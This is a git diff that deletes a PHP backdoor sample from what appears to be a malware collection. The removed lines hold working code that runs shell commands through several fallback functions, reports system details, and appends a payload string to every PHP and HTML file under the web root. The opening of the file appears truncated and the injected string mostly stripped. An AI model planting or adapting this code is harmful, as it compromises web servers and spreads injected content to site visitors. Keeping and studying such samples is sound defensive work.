diff --git a/PHP/Backdoor.PHP.Agent.bs b/PHP/Backdoor.PHP.Agent.bs deleted file mode 100644 index e9c3bafc..00000000 --- a/PHP/Backdoor.PHP.Agent.bs +++ /dev/null @@ -1,76 +0,0 @@ -"; -$OS = @PHP_OS; -echo "OSTYPE:$OS
"; -$free = disk_free_space($dir); -if ($free === FALSE) {$free = 0;} -if ($free < 0) {$free = 0;} -echo "Free:".view_size($free)."
"; -$cmd="id"; -$eseguicmd=ex($cmd); -echo $eseguicmd; -function ex($cfe){ -$res = ''; -if (!empty($cfe)){ -if(function_exists('exec')){ -@exec($cfe,$res); -$res = join("\n",$res); -} -elseif(function_exists('shell_exec')){ -$res = @shell_exec($cfe); -} -elseif(function_exists('system')){ -@ob_start(); -@system($cfe); -$res = @ob_get_contents(); -@ob_end_clean(); -} -elseif(function_exists('passthru')){ -@ob_start(); -@passthru($cfe); -$res = @ob_get_contents(); -@ob_end_clean(); -} -elseif(@is_resource($f = @popen($cfe,"r"))){ -$res = ""; -while(!@feof($f)) { $res .= @fread($f,1024); } -@pclose($f); -}} -return $res; -} -function view_size($size) -{ -if (!is_numeric($size)) {return FALSE;} -else -{ -if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} -elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} -elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} -else {$size = $size . " B";} -return $size; -}} -if(!isset($_SERVER['DOCUMENT_ROOT'])) -{ -$n = $_SERVER['SCRIPT_NAME']; -$f = ereg_replace('\\\\', '/',$_SERVER["PATH_TRANSLATED"]); -$f = str_replace('//','/',$f); -$_SERVER['DOCUMENT_ROOT'] = eregi_replace($n, "", $f); -} -$codigo = "\n"; -$directorio = $_SERVER['DOCUMENT_ROOT']; - -foreach (glob("$directorio/*.php") as $archivo) { -$fp=fopen($archivo,"a+"); -fputs($fp,$codigo); -} -foreach (glob("$directorio/*.htm") as $archivh) { -$fp=fopen($archivh,"a+"); -fputs($fp,$codigo); -} -foreach (glob("$directorio/*.html") as $archivl) { -$fp=fopen($archivl,"a+"); -fputs($fp,$codigo); -} -?> \ No newline at end of file